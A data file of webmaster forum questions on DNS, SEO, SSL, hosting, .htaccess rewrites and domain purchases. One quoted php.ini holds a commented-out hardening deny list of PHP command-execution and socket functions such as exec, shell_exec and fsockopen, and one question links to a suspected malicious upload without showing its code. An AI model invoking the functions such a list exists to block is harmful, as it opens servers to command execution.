{"id":"23717","title":"Email Forwarding Server","text":"We have a ton of websites on multiple different webhosts. The way we have our email setup is we forward all of our email to gmail accounts (e.g. name@domain.com > whatever@gmail.com) The problem is most of our webhosts now send a lot of legitimate email to Gmail's spam. We're looking for a service that will only manage the emails (we don't want to switch webhosts as the actual hosting of the website is fine). So we only want the emails to be managed, and all legitimate emails to be sent our way forwarded to our gmail accounts. Any recommendations out there?"}
{"id":"8192","title":"DNS question and Google PageRank from domains","text":"I'm not so good at DNS at all but I do know some basics. A while ago i have noticed, that my blog have different Page Ranks, PR 3 for domain `www.example.com` and PR 1 for domain `example.com`. In dns records i have this setup: A - IP - `www.example.com` A - same IP - `example.com` Should i replace this record \"A - same IP - `example.com`\" with row with CNAME instead of A? Like that: CNAME - same IP - `example.com` - alias `www.example.com` Will this combine Page Rank value of both domains? Or i can just create 302 redirection inside .htaccess file, verify example.com(without www) inside Google Webmaster Tools as my domain and inside `www.example.com` options set as main domain? Thanks ;)"}
{"id":"12447","title":"Do tabs, spaces, and line-breaks in HTML markup affect search engine optimization?","text":"I am looking for information regarding tabs, spaces, and line-breaks in HTML\/XHTML markup and whether it affects SEO. I have found sources which state that extra white space hurts search engine optimization. Example: <div> <p> Text for a paragraph <\/p> <p> More text for another paragraph <\/p> <\/div> Should be written like this for SEO: <div><p>Text for a paragraph<\/p><p>More text for another paragraph<\/p><\/div> The second version of the code is much harder to maintain so I would far prefer to write code like the first example, but SEO concerns are the top priority. Does white space negatively affect a site's search engine rankings? Also, if you have any sources for your answer, please post them or explain your reasoning if you are the source."}
{"id":"6433","title":"Analytics data from google.com?","text":"While browsing around for browser statistics today I figured that it would be nice to see a dataset from www.google.com, it ought to be somewhat well balanced and should provide a pretty decent \"general\" cut of the netizen population. However, googling (oh, the irony) for a while I couldn't find any such public datasets available. Is any data like this (from Google specifically) available, either for free or subscription?"}
{"id":"15320","title":"Unable to download microsoft excel files from a IIS SSL site","text":"The web master at my corporation added SSL to the web site and now none of my users can download Microsoft word and xcel files the sites generates. According to Microsoft the following must be down. Web sites that want to allow this type of operation should remove the no-cache header or headers. Typical of MS they don't tell you what to do, how to do it, or what the best practice is. The web master says its a web config setting. But all i can finds is <configuration> <appSettings\/> <connectionStrings\/> <system.web> <httpRuntime sendCacheControlHeader=\"false\"\/> and I don't know if this is the best way to achieve the result. I would greatly appreciate some advice on this subject."}
{"id":"68491","title":"Specifying image dimensions to improve browser performance","text":"I recently ran an audit on my web site using Google Developer Tools. My images are all the same size (500 horizontal by 300 vertical pixels) so I thought it would be better if I left out the image size attributes as there would be no need to calculate an image size when it already is the correct size. Under Networking Utilization, Specify Image Dimensions I see the following A width and height should be specified for all images in order to speed up page display. The following image(s) are missing a width and\/or height: Now, I'm confused. Should I really add width and height attributes to my images, even though they are already the right size? It seems redundant."}
{"id":"8198","title":"Does it matter where a server's physical location is?","text":"I am located in the UK, and most of my clients are also in the UK. However. I find some of the products available in the US to be easier to use. I won’t name specific companies, but the price and features attract me the most. Does it matter if the websites are located in the USA? I understand that when pinging my existing sites, there are around 7-8 more hops involved. All my sites use CMS’s, so they aren’t as fast as static sites (even with caching turned on). Would hosting the site abroad and using a CDN make any difference?"}
{"id":"27005","title":"Found Odd File on Site: Should I Be Concerned?","text":"I found a php file that was uploaded to our web server that had sneaked past our form validation. I did some searching and there was very little information regarding this file, however the small amount I found definitely made it seem malicious. Here is the content of the file: http:\/\/pastebin.com\/zfbHMe9M What was this file trying to accomplish? Is there anything I should check or be concerned about? I have removed the file from my site."}
{"id":"27003","title":"Why can't I download an image from this website?","text":"I tried downloading the blue image in myheritage.com by right clicking. But somehow I always get the picture with parachute no matter where I right click in the blue area. I downloaded the complete page in firefox and then opened images the blue background was missing. How did they manage to do that? Would like to know the method. PS: I went through FAQ of webmasters.SE, nothing was said regarding the explicit mentioning of a third party domain name in the question so I am going ahead and posting it. Edit: How is the image above 955M profiles is also not available to download when we right click?"}
{"id":"30978","title":"How can set a local host ip address to forward to local host virtual host domain name","text":"I want to forward different domain names to single IP Address (local for testing), but how can i recognize in pc that which domain name should be linked to which folder? For example in my windows host file I have added the following entries: 127.0.0.1 abc.com 127.0.0.1 test.abc.com 127.0.0.1 test1.abc.com"}
{"id":"15329","title":"AddThis Counts vs Facebook Counts","text":"Recently I changed Facebook Like buttons on several of my sites for AddThis counting buttons which include the Facebook count (or so I assume that is what the number in the box next to 'f like' is). From a code point-of-view this is simpler and gives also counts and sharing buttons for other services. **However, the counts were mostly reset to 0 or at least to a much lower number than before.** **Why the discrepancy? What could the two things be counting differently?**"}
{"id":"64993","title":"Multi-Domain SSL and redirections","text":"I have one server with the main domain being: `WebSiteA.com`. I've got 2 others domains on the same server: `WebSiteB.com` and `WebsiteC.com`. I want to have one website architecture with 3 different sections, with 3 differents domains. So, when someone visits `WebsiteA.com\/mycategory` I want them to see `WebSiteB.com` on this page and all the others in this category. **So this :** > * WebsiteA.com\/mycategory\/page1 > * WebsiteA.com\/mycategory\/page2 > * WebsiteA.com\/mycategory\/section\/page3 > **Becomes this :** > * WebsiteB.com\/page1 > * WebsiteB.com\/page2 > * WebsiteB.com\/section\/page3 > **Problem 1:** I first tried to change the DNS in the `WebsiteB.com` domain to point to `WebsiteA.com`. It works, but for the entire site. (I suppose I should use alias instead to limit to one section?) **Problem 2** : I have an SSL setup on `WebsiteA.com`, but when I'm trying to reach the page with `WebsiteB.com`, I receive an error. So I suppose I should use a Multi-Domain (UCC) SSL certificate?"}
{"id":"51934","title":"Structured data: Is it okay to have more than one image, description and SKU per page?","text":"In a few pages in a website, similar products are displayed in the same page. Each item has its own description (almost identical) and its own SKU (also almost identical). How can I use microdata correctly here? I have tried, for testing purposes, to add the code for image, description and SKU for all 3 items in one page, and I have tested the page in Google's Structured Data Testing Tool. Google read the data and displayed the URL for all 3 images, all 3 descriptions, and all 3 SKUs. Is this the correct approach, or is this wrong? Not sure if it makes a difference, but at the moment, this is not an e-commerce site. <div itemscope itemtype=\"http:\/\/schema.org\/Product\"> <span itemprop=\"name\">Test name 1<\/span> <img src=\"test1.jpg\" \/> <span itemprop=\"description\">Description test 1<\/span> <span itemprop=\"sku\">#001<\/span> <\/div> <div itemscope itemtype=\"http:\/\/schema.org\/Product\"> <span itemprop=\"name\">Test name 2<\/span> <img src=\"test2.jpg\" \/> <span itemprop=\"description\">Description test 2<\/span> <span itemprop=\"sku\">#002<\/span> <\/div> <div itemscope itemtype=\"http:\/\/schema.org\/Product\"> <span itemprop=\"name\">Test name 3<\/span> <img src=\"test3.jpg\" \/> <span itemprop=\"description\">Description test 3<\/span> <span itemprop=\"sku\">#003<\/span> <\/div>"}
{"id":"42385","title":"Network unreachable: robots.txt unreachable","text":"I am trying to add a valid sitemap to Google Webmaster. Yet, it says: > Network unreachable: robots.txt unreachableWe were unable to crawl your > Sitemap because we found a robots.txt file at the root of your site but were > unable to download it. Please ensure that it is accessible or remove it > completely. and > Network unreachable: robots.txt unreachableWe were unable to crawl your > Sitemap because we found a robots.txt file at the root of your site but were > unable to download it. Please ensure that it is accessible or remove it > completely. Yet, I can access both my robots.txt and sitemap.xml. I have reading other posts here and there, but could not solve\/understand what is causing this issue. Anyone knows?"}
{"id":"56086","title":"Tomcat WebDAV root directory","text":"Is it possible to configure WebDAV in such a way that it serves content outside the root directory? I basically want to serve content via WebDAV from an absolute path `C:\\Content`. (A third party application will drop files in that directory.) I'm running Tomcat 7.0."}
{"id":"16838","title":"If my page titles are dynamically created with PHP will Google be able to read them?","text":"My page titles are dynamically created with PHP: I set my page title in my PHP functions, and when the function is triggered the title is set. Is Google able to read the page titles?"}
{"id":"32584","title":"How to reliably determine server stack of a site (eg .Net vs Open Source)","text":"I've been trying to figure out how to determine the use of the .Net stack compared to Open Source OS's. I have read that Netcraft.com is one place to find out. But when I put in one of my own sites (which is .Net), it comes up as unknown, and when I put in StackOverflow.com, it comes up as a Linux OS and \"unknown\" server. I thought SO was .Net MVC (has that changed)? Given that Netcraft came up with wrong\/incomplete answers in these instances, do you think their statistics overall are still reliable? http:\/\/toolbar.netcraft.com\/site_report?url=http:\/\/stackoverflow.com"}
{"id":"54176","title":"Do we need to block repeated pages content for SEO relevance","text":"I have multiple purchase pages with the same content like: product1red.php product2green.php Should I block them with robots.txt ?"}
{"id":"42994","title":"I suspect our agency artificially increased traffic","text":"I had a first suspicion when I compared our previous CPC campaign, managed in house with the one who was done by agency. In previous campaign there was no traffic increase from organic traffic, while in the campaign managed by agency there was a large and correlated increase of traffic from both - CPC and organic traffic. Look at the image. I have looked into various things in Analytics, but the strangest thing was appearance of CPC searches with plus sign, like +very +best +product. Now I doubt that there are lots of people doing search like that. Also, here was significant increase of average duration and pages per visit. We did some other marketing activities at that moment, but it looks like a very unlikely coincidence. Please advice how can we bust them, because my boss is about to sign up a contract to do SEO with them..."}
{"id":"26825","title":"Need a good, free, light help desk package","text":"> **Possible Duplicate:** > Helpdesk software I'm launching a new web site that needs a basic help-desk system-- something that will track ticket emails, keep a log, have some basic statistics and possibly power a knowledgebase\/FAQ section on my site. My ideal solution would be hosted (I'd rather not lose a day having to fuss around with installing software on the server), MODERN and CLEAN (read: not feel like it was designed or developed in 1997, which is what I keep coming across) and easy. Simple. Clean. Current. (You know, like the stuff 37signals puts out, or Fog Creek's CoPilot.) Because we're talking about no more than 10 tickets a week right now, it seems reasonable that I should be able to have the features for free now, to determine if it's right for me. Of course, I'm totally fine with a package that I will pay to grow into, as my needs expand. If I have to install on my server, it should be Linux based (CentOS). Zen Desk seems to nail it in the features department but feels like overkill for my (currently, very small) needs."}
{"id":"35587","title":"Google Fetch issue","text":"When I do a Google fetch on any of my webpages the results are all the same (below). I'm not a programmer but I'm pretty sure this is not correct. Out of all the fetches I have done only one was different and the content length was 6x below and showed meta tags etc. Maybe this explains other issues I've been having with the site: a drop in indexed pages. Meta tag analyzer says I have no title tag, meta tags or description even though I do it on all pages. I had an SEO team working on the site and they were stumped by why pages were not getting indexed. So they figure it was some type of code error. Are they right? HTTP\/1.1 200 OK Cache-Control: private Content-Type: text\/html; charset=utf-8 Content-Encoding: gzip Vary: Accept-Encoding Server: Microsoft-IIS\/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 11 Oct 2012 11:45:41 GMT Content-Length: 1054 <!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD XHTML 1.0 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-transitional.dtd\"> <html xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\"> <head> <title><\/title> <script type=\"text\/javascript\"> function getCookie(cookieName) { if (document.cookie.length > 0) { cookieStart = document.cookie.indexOf(cookieName + \"=\"); if (cookieStart != -1) { cookieStart = cookieStart + cookieName.length + 1; cookieEnd = document.cookie.indexOf(\";\", cookieStart); if (cookieEnd == -1) cookieEnd = document.cookie.length; return unescape(document.cookie.substring(cookieStart, cookieEnd)); } } return \"\"; } function setTimezone() { var rightNow = new Date(); var jan1 = new Date(rightNow.getFullYear(), 0, 1, 0, 0, 0, 0); \/\/ jan 1st var june1 = new Date(rightNow.getFullYear(), 6, 1, 0, 0, 0, 0); \/\/ june 1st var temp = jan1.toGMTString(); var jan2 = new Date(temp.substring(0, temp.lastIndexOf(\" \") - 1)); temp = june1.toGMTString(); var june2 = new Date(temp.substring(0, temp.lastIndexOf(\" \") - 1)); var std_time_offset = (jan1 - jan2) \/ (1000 * 60 * 60); var daylight_time_offset = (june1 - june2) \/ (1000 * 60 * 60); var dst; if (std_time_offset == daylight_time_offset) { dst = \"0\"; \/\/ daylight savings time is NOT observed } else { \/\/ positive is southern, negative is northern hemisphere var hemisphere = std_time_offset - daylight_time_offset; if (hemisphere >= 0) std_time_offset = daylight_time_offset; dst = \"1\"; \/\/ daylight savings time is observed } var exdate = new Date(); var expiredays = 1; exdate.setDate(exdate.getDate() + expiredays); document.cookie = \"TimeZoneOffset=\" + std_time_offset + \";\"; document.cookie = \"Dst=\" + dst + \";expires=\" + exdate.toUTCString(); } function checkCookie() { var timeOffset = getCookie(\"TimeZoneOffset\"); var dst = getCookie(\"Dst\"); if (!timeOffset || !dst) { setTimezone(); window.location.reload(); } } <\/script> <\/head> <body onload=\"checkCookie()\"> <\/body> <\/html>"}
{"id":"6643","title":"How do I buy this domain name?","text":"> **Possible Duplicate:** > How can I buy a domain that has already been registered? How can I buy the domain name `www.autospell.com`. It seems to have a weird status with no website, but also it is not available to buy."}
{"id":"12397","title":"Getting a domain name owned by someone else?","text":"> **Possible Duplicate:** > Buy a registered domain? I'm in the process of creating this website, but the name I wanted for the hosting seems to be taken. Namejet seems to be auctioning it, but it seems a bit too fishy for my taste. I go to the link and there's nothing there, just ads. Can anyone recommend what the best way to get a domain owned by someone else is? My only alternative seems to be making an extremely long one nobody will remember! Sorry for the extremely noob question, but hey, need to start somewhere."}
{"id":"49004","title":"How to I register a domain name that has been registered?","text":"I am writing to ask about a domain name I wish to own. I have contacted the domain owner (by performing a WhoIS search) by email and have not received a reply. I have tried contacting him for over a year. I have also contacted the domain registrar (`namecheap.com`) where the domain is registered, and they have told me that they cannot contact him on my behalf, and told me to contact him using the email address. Are there any ways of securing this domain name for myself? I have waited for it to expire but unfortunately, it automatically renewed!"}
{"id":"35582","title":"FTP client says directory permissions are 0000","text":"I encountered a problem that appears to be related to permissions (same as this one). When I looked at the permissions of various directories in FireFTP, they all were 0000, which is obviously nonsense, since all the other pages are served without any problems. I only have ftp access, and I think it’s a Windows server (The header says \"Server: Microsoft-IIS\/7.5\"). I’ve tried a different ftp client, with the same result. Changing the permissions results in a \"'SITE CHMOD 764 [directory]': command not understood\" error. A search on Google and SO for \"permissions windows 0000\" and similar queries didn’t turn up anything. How can I view and change the actual permissions?"}
{"id":"39035","title":"Problems Using CloudFlare On Blogger","text":"Here's the situation. I got a TLD for my blogger blog and set it up using the instructions from blogger. Blogger asks to: Add two CNAME records. For the first CNAME, where it says Name, Label or Host enter \"www\" and where it says Destination, Target orPoints To enter \"ghs.google.com\" . For the second CNAME, enter \"NHRILA4K2RJG\" as the Name and \"gv-GQMUMYGHAMJWECXFLJXVXABIV23C55JIPNIAVD5IGFSXT653O5GA.domainverify.googlehosted.com.\" I did that on my domain host, and everything was working smoothly. Here's the things that happened: * Typing myblog.blogspot.com in the address bar brought me to my new address www.mynewaddress.tld * Typing my newaddress.tld brings me to www.mynewaddress.tld Now, I went through the instruction to setup CloudFlare and did everything as required. I saw that CloudFlare is active and working on my TLD www.mynewaddress.tld, however, when I am typing the blogspot address, i.e. myblog.blogspot.com, it's showing a notice that the blog is not hosted on blogger and that I should click \"yes\" to get redirected to the new website. However, the blog is still on blogger. I think the problem might be with this particular CNAME record Google asks to create, which I did not find imported to the CloudFlare nameservers: For the second CNAME, enter \"NHRILA4K2RJG\" as the Name and \"gv-GQMUMYGHAMJWECXFLJXVXABIV23C55JIPNIAVD5IGFSXT653O5GA.domainverify.googlehosted.com.\" So I create that CNAME and added it to the CloudFlare panel. My question is - is that what will help Google determine that my blog is still hosted on Blogger? If so, should I turn off CloudFlare for that particular CNAME record or turn it on? Any help is very much appreciated :)"}
{"id":"9949","title":"Do you know a good html mailing list management software with admin levels?","text":"I'm basically looking for a program\/app\/script (can be commercial) which I can ideally install on a windows server (we can run asp, asp.net php mssql) we have different groups of people who send newsletters to web members, I want to bring it all into one app which I can monitor and control. Ideally it would be able to create html newsletters, (with some templates) track emails and click throughs. Manage email lists subscribe\/unsubscribes. And importantly have different levels of admin, so a newsletter creator could log in and create and send off an email, it goes into a queue where a communications editor can have an overview of all newsletters and approve the sending of the emails or edit them before they are sent off. before I start coding something up myself I thought I'd ask if anyone has any advice! Cheers!"}
{"id":"34567","title":"Looking for full web based booking system","text":"I've searched around here but could not find any booking system that would suit my need. I hope maybe you can help me out. I've already seen question #11379. Solutions provided there are not helping and scripts not interesting. I'm looking for a booking system that support infinite number of hotels\/rooms\/pricingschemes. There should be unlimited number of hotel owner\/users, who can access control panel and set availability for their hotel. Or create seasonal prices and adjust them. I should be able to have 15% booking fee paid through credit cart. I can work on integration with my system, it just needs to have correct APi\/functionality to support this. I love wordpress so if there are some nice plugins for that, I'm open for suggestions. But this is not a must. It should be php\/mysql based as I'm not good at anything else :)"}
{"id":"32965","title":"Responsibility in case of copyright infringing user-submitted content","text":"Not sure if this is the right place to ask, but it seemed like one of the better options. Example here. Say, I have an online library where users can submit e-books and PDFs they created. All fine and dandy, until someone comes around and starts uploading books that are not their own. Sure, we have a moderation team in place that regularly checks new additions, but some may slip past the radar, especially when dealing with fairly unknown authors. The author of the (illegally) uploaded books finds the site, browses it for a bit, and to his shock finds that his books are available there for free. Copyright infringement! They sue me for hosting the library website, and I get in deep trouble because some user did something he wasn't allowed to. How can I avoid getting in trouble over this? Will I be safe is I state in the Terms of Use that it is not allowed to upload copyright infringing material, and that all users are responsible for what they upload? Or does the \"web admin is responsible for his sites and their content\" clause negate all others? Thanks! UPDATE: Also asked a lawyer online. They gave an answer pretty close to what the people on here said. See this link."}
{"id":"19245","title":"Customized 404 page on yahoo webhosting","text":"I want to add my customized 404 error page. On Apache server an entry made in .htaccess file does this task.I have my website on yahoo web hosting. Yahoo does not support .htaccess file. Can anyone please guide how this can be achieved on yahoo web hosting."}
{"id":"16743","title":"What dodgy scams are there to get to the top of Google searches?","text":"I was speaking to a relative and they mentioned that the designer\/developer who produced their site had a way of getting them to the first page of google, I did advise him that this could be potentially dodgy and if he's not using legit SEO techniques then you could get thrown out. So what dodgy packages are there at the moment that he could be using, because from the look of the site and the number of orders it's taking, I really can't see how it could've organically risen to the top. Any ideas?"}
{"id":"16744","title":"Embedding *.swf objects: javascript vs xhtml","text":"I am a newbie in webdesign and I´ve been wondering which is the _modern_ way to embed swf objects. I've been using the following html code: <object id=\"flash1\" data=\"presentacion\/prototipe.swf\" height=\"300\" type=\"application\/x-shockwave-flash\" width=\"500\"> <param name=\"movie\" value=\"presentacion\/prototipe.swf\" \/> <\/object> However, I've noticed that some designers use a javascript to embed swf files. Like this one <script type=\"text\/javascript\"> var flashvars = { }; var params = { menu: \"false\", scale: \"noScale\", allowFullscreen: \"true\", allowScriptAccess: \"always\", allowNetworking: \"all\", bgcolor: \"#ffffff\", base: \"swf\/\" }; var attributes = { id:\"flashMovie\" }; swfobject.embedSWF(\"swf\/flash_movie.swf\", \"flashMovie\", \"550\", \"400\", \"9.0.0\", \"swf\/expressinstall.swf\", flashvars, params, attributes); <\/script> It seems that both ways produce the same results but: **what are the shorfalls of these methods?** **which method is the newest ?** **Are there any compatibility issues regarding the web-browsers?** Thanks in advance. I've posted this question in stack-overflow too. I don't know exactly where this question should be posted."}
{"id":"58727","title":"Should Schema.org be used on embedded YouTube videos or only self-hosted videos?","text":"Google supports and recommends using the schema.org on-page markup for videos. However it is not clear if this should also be done when embeddeding a YouTube video. Or really even a Vimeo video. Or is the schema.org only necessary when hosting the videos yourself?"}
{"id":"49284","title":"Which folders need to be backed up for migration in Joomla?","text":"I'm helping someone update & migrate their old website, built on the Joomla framework. Currently it is running on Joomla 1.5.8 which is an ancient version. I've convinced them to upgrade Joomla to at least 2.5 I have already made a backup of the database. Most links I have seen talk of backing up the entire `public_html` folder (The website runs on a shared host). But in my fresh Joomla installation there are several folders that are in the `public_html` folder. So which of the folders in the `public_html` folder are from the content of the website, and which are of the old Joomla framework? I'm afraid that I might overwrite files of the new Joomla framework with the old framework, if copy all the files and folders into the new installation."}
{"id":"19939","title":"How to add Default Document in a Windows Shared Hosting","text":"I have a shared hosting plan where I have hosted my WordPress blog Now each time I want to access the page I have to type index.php after the domain name. If I try to access it without using index.php I get 404 error. Is this because index.php is not added to Default Documents list? Is there anyway I can add the default document list using plex control Panel?"}
{"id":"16218","title":"URL rewrite to fix broken links into a subdirectory -- subdirectory was moved to the root directory","text":"I had an e-commerce website hosted on `http:\/\/mydomain.com\/beta` for more than a year, eventually I decided to move the website to root `http:\/\/mydomain.com` I had done quite a lot of link postings to forums etc, when my site used to be hosted in the sub-dir \/beta. Is there a way to do a mod_rewrite by which all the old links that I have posted do not return as broken links, since now longer the site is hosted in \/beta and is now hosted on the site root. I did read that mod_rewrite can help resolve this issue, but also read about that this has to be done with care. Just a tip that this site is using friendly URL."}
{"id":"42789","title":"Google Analytics - include filter not working","text":"I just added an include filter this morning in my domain (`test.org`). I have: _Custom Filter > Include > Request URI >_ `^\/test-a\/46212$|^\/test-a\/46212|^\/test-a\/46315` Now after I go to _Content > Site Content > All Pages_ , I see stats for other pages that I didn't include in my filter. For example I see `\/somethingelse`. I only want to see stats for `\/test-a\/46212` and whatever else in my filter. Please let me know what I'm doing wrong."}
{"id":"51423","title":"Do the \"Contact us\" and \"Privacy policy\" pages affect SEO?","text":"Just like the title says, what are the effects of having a \"Contact us\" and a \"Privacy policy\" on your site? I've read that it could build up your trust with Google, is this true? I've also read that some people said that you should add a `noindex` tag to your \"Privacy policy\" page, would this be a good idea? I say this because many websites have similar privacy policies, and I don't want any duplicate content issues. (For example, many people could be using the same WordPress privacy policy generator). I'm wondering the same things for the \"Contact us\" page as well."}
{"id":"42784","title":"How to create sharing icons with the share count number showing?","text":"See a sample article on theonion.com  I know how to create icons for these sites without using their standard widget, but how did they get the number of share, bellow each icon ? Is there an API to ask for it ?"}
{"id":"56783","title":"Will using same colour H1 as background hurt SEO if I use background image?","text":"Can it hurt SEO if H1 headings are the same colour as the standard body background colour, even if all H1 headings are placed in divs that have a contrasting background image? (So to be clear: the heading will be clearly visible) To illustrate: CSS: body { color:#4e4e4e; background-color: #ffffff; } #section1 { background: url('example.jpg'); } h1 { font-weight: bold; color:#ffffff; } (example.jpg in this case would be an image with very dark colours) HTML: <div class=\"section\" id=\"section1\"> <h1>Lorem ipsum dolor<\/h1> <\/div> While at first glance it may seem that H1 headings are hidden, in reality they are not because the white letters will contrast with the dark background image. Will Google (wrongly) see this as hiding text, as a result hurting SEO? And if so, would it then be better to define H1 colours per div like in the CSS example underneath? body { color:#4e4e4e; background-color: #ffffff; } #section1 { background: url('example.jpg'); color: #fff; } I ask this because, while the second example seems to make more sense if you want to make it clear you're not hiding text, I also have the feeling that this defeats the purpose of a separate CSS file. If I'm going to have to change the font colour for each div I use an H1 in, I might as well switch to inlining."}
{"id":"61694","title":"Why do we have to wait 60 days between each domain transfer?","text":"I understand that ICANN does make the rules requiring this, but I don't understand why we have to? Each time we do transfer the domain, we have to pay to do so. That partially stops fraud. I also do know that it can take from a few hours to a month for the transfer process to be completed on both ends. **Why do we have to wait 60 days between each domain transfer?** Also, allow me to quote the ICANN FAQ > **If I bought a name through one registrar, am I allowed to switch to a > different registrar?** > > Yes. The Inter-Registrar Transfer Policy, applicable to all ICANN-accredited > registrars, provides that registered name holders must be able to transfer > their domain name registrations between registrars. You must wait 60 days > after the initial registration or any previous transfers to initiate a > transfer. It states that it is a _requirement_ without an understanding of the reason why it is."}
{"id":"26800","title":"How can I prove to google that a godaddy based site with instapage in my site?","text":"I have registered a domain with godaddy and do not have their hosting services just the free instapage. I want my domain to be actually hosted at google apps. I have got to the point in google setup where google has asked me to verify that this my domain by adding some metadata in the header of mypage (there are couple of other options as well). The problem is that because I am not using godaddy's hosting I can not add any thing to the head as instapage only give me edit access to body and some templates. Is there a way I can verify that this my domain with having to pay for godaddy's hosting ?"}
{"id":"58409","title":"SocialEngine 4.5 redirect loop problem","text":"I am installing SocialEngine 4.5. Here is the .htaccess file in the first level of the SocialEngine `\/public_html\/social_engine2\/` directory: # $Id: .htaccess 7539 2010-10-04 04:41:38Z john $ <IfModule mod_rewrite.c> # For security reasons, Option followsymlinks cannot be overridden. #Options +FollowSymLinks Options +SymLinksIfOwnerMatch RewriteEngine On RewriteBase \/ # Get rid of index.php RewriteCond %{REQUEST_URI} \/index\\.php RewriteRule (.*) index.php?rewrite=2 [L,QSA] # Rewrite all directory-looking urls RewriteCond %{REQUEST_URI} \/$ RewriteRule (.*) index.php?rewrite=1 [L,QSA] # Try to route missing files RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} public\\\/ [OR] RewriteCond %{REQUEST_FILENAME} \\.(jpg|gif|png|ico|flv|htm|html|php|css|js)$ RewriteRule . - [L] # If the file doesn't exist, rewrite to index RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php?rewrite=1 [L,QSA] <\/IfModule> # sends requests \/index.php\/path\/to\/module\/ to \"index.php\" # AcceptPathInfo On # @todo This may not be effective in some cases FileETag Size This file is in the `\/public_html\/social_engine2\/install\/` directory: # $Id: .htaccess 7554 2010-10-05 03:40:58Z john $ <IfModule mod_rewrite.c> # For security reasons, Option followsymlinks cannot be overridden. # Options +FollowSymLinks Options +SymLinksIfOwnerMatch RewriteEngine On RewriteBase \/install\/ # Get rid of index.php RewriteCond %{REQUEST_URI} \/index\\.php RewriteRule (.*) index.php?rewrite=2 [L,QSA] # Rewrite all directory-looking urls RewriteCond %{REQUEST_URI} \/$ RewriteRule (.*) index.php?rewrite=1 [L,QSA] # Special cases RewriteCond %{REQUEST_URI} static # RewriteRule (.*) Boostrap.php [L,QSA] RewriteRule (.*) index.php?rewrite=1 [L,QSA] # Try to route missing files RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} public\\\/ [OR] RewriteCond %{REQUEST_FILENAME} \\.(jpg|gif|png|ico|flv|htm|html|php|css|js)$ RewriteRule . - [L] # If the file doesn't exist, rewrite to index RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php?rewrite=1 [L,QSA] <\/IfModule> <IfModule mod_php5.c> php_value post_max_size 100M php_value upload_max_filesize 100M php_value max_input_time 600 php_value max_execution_time 600 php_value memory_limit 128M <\/IfModule> # @todo This may not be effective in some cases FileETag Size Please let me know if there is something wrong with the code."}
{"id":"43834","title":"PHP not enabled by default on GoDaddy shared linux web hosting","text":"I recently made the mistake of starting a web hosting account with GoDaddy. Let me start by saying that any comments or answers that I should walk away from the money I spent with GoDaddy and go with someone else will be flagged. I have heard this countless times and do not wish to hear it again. Perhaps I am naive but I thought that PHP was enabled by default on shared web hosting. Certainly PHP should be enabled, my account started with two webform mailer scripts, webformmailer.php and gdform.php. There also exists a php.ini file that cannot be modified or deleted. It seems to prevent certain things like registering globals and other security concerns on a shared hosting environment. PHP is not enabled though. A simple test script spits back text, telling me the PHP handler doesn't exist or it is just not installed. <?php phpinfo(); ?> The above just returns text. There was no .htaccess file so I decided to add one myself. It made no difference. > AddHandler application\/x-httpd-php .php > > Options +ExecCGI +FollowSymLinks The php.ini file that they provided in my account is as follows: register_globals = off allow_url_fopen = off expose_php = On max_input_time = 60 variables_order = \"EGPCS\" extension_dir = .\/ upload_tmp_dir = \/tmp precision = 12 SMTP = relay-hosting.secureserver.net url_rewriter.tags = \"a=href,area=href,frame=src,input=src,form=,fieldset=\" ; Only uncomment zend optimizer lines if your application requires Zend Optimizer support ;[Zend] ;zend_optimizer.optimization_level=15 ;zend_extension_manager.optimizer=\/usr\/local\/Zend\/lib\/Optimizer-3.3.3 ;zend_extension_manager.optimizer_ts=\/usr\/local\/Zend\/lib\/Optimizer_TS-3.3.3 ;zend_extension=\/usr\/local\/Zend\/lib\/Optimizer-3.3.3\/ZendExtensionManager.so ;zend_extension_ts=\/usr\/local\/Zend\/lib\/Optimizer_TS-3.3.3\/ZendExtensionManager_TS.so ; -- Be very careful to not to disable a function which might be needed! ; -- Uncomment the following lines to increase the security of your PHP site. ;disable_functions = \"highlight_file,ini_alter,ini_restore,openlog,passthru, ; phpinfo, exec, system, dl, fsockopen, set_time_limit, ; popen, proc_open, proc_nice,shell_exec,show_source,symlink\" After contacting customer support they insist that there is nothing wrong with my account. I must be doing something very stupid here because I can't find any instance on the web where somebody experienced a similar problem with GoDaddy."}
{"id":"4941","title":"How do I build backlinks?","text":"I've recently made a site and I want to know how to go about making backlinks?"}
{"id":"55979","title":"What are new backlinking techniques","text":"I am in search of new backlinks methods. I do know most of the traditional methods of acquiring back links but they are no more in the play. I there is something out of the box or not so common, please share your knowledge and wisdom."}
{"id":"64625","title":"How to increase backlinks of blog or websites","text":"I know that this question is very easy and also Silly.But I don't know how to make **backlinks to my blog**. I have tried **commenting in various blogs and websites** but in alexa there is **only 1 backlink** which is **my own blog**. Do anyone know how to make a **quality backlinks for blog or website**.... I also want to know that by increasing **Backlinks** , **SEO** of my blog imporves??? _Thanks in advance......_"}
{"id":"21655","title":"remove 'noindex' meta tag, under Tumblr","text":"Is it possible to remove the meta tag for search engine 'noindex' in a tumblr blog ? I have tried all options under the dashboard. I think Tumblr add this option automatically when the HTML page is generated. If I wrote another meta tag before, in a custom HTML style, is it used by googleBot or other ? > < meta name=\"robots\" content=\"noindex\"\/ >< meta http-equiv=\"x-dns-prefetch- > control\" content=\"off\"\/ >< \/head > > < body > ... Also, these scripts are in the template : <script src=\"http:\/\/static.tumblr.com\/xsp9wak\/WsCkloo8h\/fluid.js\" type=\"text\/javascript\"><\/script> <script src=\"http:\/\/static.tumblr.com\/xsp9wak\/trzklb43b\/jquery.fancybox-1.2.1.pack.js\" type=\"text\/javascript\"><\/script> <script src=\"http:\/\/static.tumblr.com\/xsp9wak\/6JXkli7dk\/cufon-min.js\" type=\"text\/javascript\"><\/script> <script src=\"http:\/\/static.tumblr.com\/xsp9wak\/g6Wklb4aa\/tg.js\" type=\"text\/javascript\"><\/script> >"}
